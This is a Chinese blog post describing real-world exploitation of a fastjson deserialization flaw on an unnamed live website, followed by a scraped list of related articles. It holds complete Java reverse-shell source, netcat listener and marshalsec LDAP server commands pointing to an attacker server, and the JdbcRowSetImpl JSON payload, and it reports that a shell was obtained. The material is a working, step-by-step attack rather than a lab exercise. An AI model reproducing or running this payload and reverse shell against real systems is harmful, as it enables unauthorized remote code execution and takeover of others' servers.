fastjson反序列化漏洞实际案例利用
fastjson反序列化rce实际案例利用全过程:
存在问题网站:http://***.com/
在网站上寻找一些安全漏洞的时候,发现一条json数据包
数据包如下:
POST /*** HTTP/1.1
Host: ***
Connection: close
Content-Length: 100
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
Referer: *
Accept-Language: zh-CN,zh;q=0.9
Cookie: * {"***":"***"}
当我尝试输入:'a
POST /*** HTTP/1.1
Host: ***
Connection: close
Content-Length: 100
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
Referer: *
Accept-Language: zh-CN,zh;q=0.9
Cookie: * {"***":"***'a"}
发生了报错,报错信息:
{"timestamp":1556677012822,"status":500,"error":"Internal Server Error","exception":"com.****.fastjson.JSONException.....}
fastjson,立马想到fastjson反序列化漏洞。
关于利用:需要两份文件
1.reverse.java
2.marshalsec-0.0.1-SNAPSHOT-all.jar
提供reverse.java的代码:
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket; public class reverse {
class StreamConnector
extends Thread
{
InputStream hx;
OutputStream il; StreamConnector(InputStream hx, OutputStream il)
{
this.hx = hx;
this.il = il;
} public void run()
{
BufferedReader ar = null;
BufferedWriter slm = null;
try
{
ar = new BufferedReader(new InputStreamReader(this.hx));
slm = new BufferedWriter(new OutputStreamWriter(this.il));
char[] buffer = new char[8192];
int length;
while ((length = ar.read(buffer, 0, buffer.length)) > 0)
{
slm.write(buffer, 0, length);
slm.flush();
}
}
catch (Exception localException) {}
try
{
if (ar != null) {
ar.close();
}
if (slm != null) {
slm.close();
}
}
catch (Exception localException1) {}
}
}
public reverse()
{
reverseConn("服务器ip:端口号");
} public static void main(String[] args)
{
System.out.println("0");
} public void reverseConn(String ip)
{
String ipport = ip;
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket(ipport.split(":")[0],
Integer.parseInt(ipport.split(":")[1]));
Process process = Runtime.getRuntime().exec(ShellPath);
new StreamConnector(process.getInputStream(),
socket.getOutputStream()).start();
new StreamConnector(process.getErrorStream(),
socket.getOutputStream()).start();
new StreamConnector(socket.getInputStream(),
process.getOutputStream()).start();
}
catch (Exception e)
{
e.printStackTrace();
}
}
}
marshalsec-0.0.1-SNAPSHOT-all.jar网上可自行找到。
测试服务器:阿里云服务器(CenterOS)
需要具备的环境:1.jdk 1.8环境 2.apache服务 3.无apache自带python启动web服务
jdk1.8安装参考:https://blog.51cto.com/kmt1994/2325949?source=dra
apache服务配置嫌麻烦直接使用: python -m SimpleHTTPServer 8000(以8000端口为例子),如果配置了apache访问是默认80端口
访问http://服务器ip:8000 or http://服务器ip:80
没apache(web)服务的操作过程如下:
把reverse.java和marshalsec-0.0.1-SNAPSHOT-all.jar放到网站根目录下:
操作1: javac reverse.java 生成reverse.class
操作2: python -m SimpleHTTPServer 8000开启一个8000端口的web服务
操作3: 新建窗口:nc -lvvp 1234 *监听的端口根据reverse.java中的端口进行配置互相匹配
操作4:新建窗口:java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://服务器ip:8000/#reverse 10086
操作5:构造数据包:
POST /*** HTTP/1.1
Host: ***
Connection: close
Content-Length: 100
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
Referer: *
Accept-Language: zh-CN,zh;q=0.9
Cookie: * {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://服务器ip:10086/Object","autoCommit":true}
发送数据包产生了一定延迟,查看操作3的窗口发现:
反弹shell成功

如果有apache服务,那么操作如下:
操作1.在网站根目录下存放那两个文件,我的网站根目录/var/www/html
操作2.javac reverse.java 生成reverse.class
操作3.新建窗口:nc -lvvp 1234 *监听的端口根据reverse.java中的端口进行配置互相匹配
操作4:新建窗口:java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://服务器ip:80/#reverse 10086 *(apache服务端口默认80)
操作5:构造数据包:
POST /*** HTTP/1.1
Host: ***
Connection: close
Content-Length: 100
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
Referer: *
Accept-Language: zh-CN,zh;q=0.9
Cookie: * {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://服务器ip:10086/Object","autoCommit":true}
发包产生延迟,然后查看操作3窗口:
成功反弹shell

关于坑:要在网站根目录下进行这些命令操作!
p.p1 { margin: 0; font: 13px "Helvetica Neue"; color: rgba(0, 0, 0, 1) }
p.p1 { margin: 0; font: 13px "Helvetica Neue"; color: rgba(0, 0, 0, 1) }
p.p1 { margin: 0; font: 13px "Helvetica Neue"; color: rgba(0, 0, 0, 1) }
span.s1 { color: rgba(0, 162, 255, 1) }
fastjson反序列化漏洞实际案例利用的更多相关文章
- fastjson反序列化漏洞原理及利用
重要漏洞利用poc及版本 我是从github上的参考中直接copy的exp,这个类就是要注入的类 import java.lang.Runtime; import java.lang.Process; ...
- Fastjson反序列化漏洞概述
Fastjson反序列化漏洞概述 背景 在推动Fastjson组件升级的过程中遇到一些问题,为帮助业务同学理解漏洞危害,下文将从整体上对其漏洞原理及利用方式做归纳总结,主要是一些概述性和原理上的东 ...
- Fastjson反序列化漏洞复现
Fastjson反序列化漏洞复现 0x00 前言 对Fastjson反序列化漏洞进行复现. 0x01 漏洞环境 靶机环境:vulhub-fastjson-1.2.24 ip:172.16.10.18 ...
- Java安全之Fastjson反序列化漏洞分析
Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...
- Fastjson反序列化漏洞分析 1.2.22-1.2.24
Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...
- fastjson反序列化漏洞研究(上)
前言 最近护网期间,又听说fastjson传出“0day”,但网上并没有预警,在github上fastjson库中也有人提问关于fastjson反序列化漏洞的详情.也有人说是可能出现了新的绕过方式.不 ...
- Fastjson反序列化漏洞基础
Fastjson反序列化漏洞基础 FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象. 0x0 ...
- FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链
0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...
- fastjson 反序列化漏洞利用总结
比赛遇到了,一直没利用成功,这里做个记录. 环境搭建 首先用 vulhub 搭建 fastjson 的漏洞环境. 漏洞环境程序的逻辑为接收 body 的数据然后用 fastjson 解析. 漏洞利用 ...
随机推荐
- ffmpeg番外篇:听说这款水印曾经在某音很火?办它!
今天在瞎逛时,偶然看到一个CSDN上的哥们说,他们曾经被一个水印难住了,仔细看了下,感觉可以用一行命令实现. 需求如下:视频加gif水印,gif循环,同时n秒后水印切换位置继续循环 这哥们遇到了两个问 ...
- Redis基本数据结构之ZSet
1.1Zset(有序集合) Zset保留了集合不能有重复成员的特性,但不同的是,有序集合中的元素可以排序.但是它和列表使用索引下标作为排序依据不同的是,它给每个元素设置一个分数(score)作为排序的 ...
- MySQL:多表查询
SELECT查询不但可以从一张表查询数据,还可以从多张表同时查询数据.查询多张表的语法是:SELECT * FROM <表1> <表2>,普通多表查询会获取M x N行记录,所 ...
- Linux ctrl+z挂起的进程恢复与杀死
Linux系统下,不小心按了ctrl+z命令后,退出了当前进程的执行界面,程序没有结束,只是被挂起了.通过ps命令可以查看进程信息,这里不做详细介绍,可通过jobs命令查看被挂起的进程号 #jobs ...
- HDOJ-1686(KMP算法)
Oulipo HDOJ-1686 本题的思路就是KMP,和HDOJ-1711思路一样,不再赘述详情可以看链接:1711题解 #include<iostream> #include<c ...
- day1_安装及建立数据库和表
#第一份数据库及表create database library; use library; create table book( id int primary key, book_name char ...
- KL散度相关理解以及视频推荐
以下内容基于对[中字]信息熵,交叉熵,KL散度介绍||机器学习的信息论基础这个视频的理解,请务必先看几遍这个视频. 假设一个事件可能有多种结果,每一种结果都有其发生的概率,概率总和为1,也即一个数据分 ...
- rest framework Response
回应 不同于基本的HttpResponse对象,TemplateResponse对象保留先前由视图提供给计算响应上下文的细节.该响应的最终输出,不计算直到需要它,以后在响应过程. - Django文档 ...
- MySQL基础知识:创建MySQL数据库和表
虚构一个微型在线书店的数据库和数据,作为后续MySQL脚本的执行源,方便后续MySQL和SQL的练习. 在虚构这个库的过程中,主要涉及的是如何使用命令行管理 MySQL数据库对象:数据库.表.索引.外 ...
- 为什么要从 Linux 迁移到 BSD 4
为什么要从 Linux 迁移到 BSD 4 许可证问题 Linux GPL 许可证对开发者的要求比较严格,它是一种开源的反模式,因为它强制发布所有修改过的源代码,并且阻止其他开源项目的集成,例如 GP ...